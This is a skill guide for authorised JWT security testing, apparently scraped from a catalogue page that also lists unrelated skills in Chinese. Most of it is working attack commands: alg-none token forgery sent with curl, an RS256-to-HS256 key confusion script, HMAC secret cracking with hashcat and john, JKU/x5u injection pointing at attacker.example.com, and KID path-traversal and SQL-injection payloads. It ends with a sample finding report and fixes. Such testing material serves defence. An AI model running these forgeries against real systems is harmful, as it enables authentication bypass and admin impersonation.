external/anthropic-cybersecurity-skills/skills/testing-jwt-token-security/SKILL.md
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
npx skillsauth add seikaikyo/dash-skills testing-jwt-token-securityInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)pip install pyjwt)apt install hashcat)Extract and examine the header, payload, and signature components.
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
Attempt to forge tokens by setting the algorithm to "none".
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
"https://target.example.com/api/admin/users" | jq .
# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $FORGED" \
"https://target.example.com/api/admin/users"
echo
done
If the server uses RS256, try switching to HS256 and signing with the public key.
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl
# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
"https://target.example.com/api/admin/users"
If HS256 is used, attempt to crack the signing secret.
# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
Modify JWT claims to escalate privileges or bypass authorization.
# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
-pc role -pv admin
# Test common claim attacks:
# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL
# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)
# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
-pc sub -pv "[email protected]" \
-pc role -pv "superadmin"
Assess token expiration enforcement and revocation capabilities.
# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# Test token with far-future expiration
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
"https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout
# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT
| Concept | Description |
|---------|-------------|
| Algorithm None Attack | Removing signature verification by setting alg to none |
| Algorithm Confusion | Switching from RS256 to HS256 and signing with the public key as HMAC secret |
| HMAC Brute Force | Cracking weak HS256 signing secrets using wordlists or brute force |
| JKU/x5u Injection | Pointing JWT header URLs to attacker-controlled key servers |
| KID Injection | Exploiting SQL injection or path traversal in the Key ID header parameter |
| Claim Tampering | Modifying payload claims (role, sub, permissions) after compromising the signing key |
| Token Revocation | The ability (or inability) to invalidate tokens before their expiration |
| JWE vs JWS | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
| Tool | Purpose | |------|---------| | jwt_tool | Comprehensive JWT testing toolkit with automated attack modules | | Burp JWT Editor | Burp Suite extension for real-time JWT manipulation | | Hashcat | GPU-accelerated HMAC secret brute-forcing (mode 16500) | | John the Ripper | CPU-based JWT secret cracking | | PyJWT | Python library for programmatic JWT creation and manipulation | | jwt.io | Online JWT decoder for quick analysis (do not paste production tokens) |
The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.
## JWT Security Finding
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets
development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
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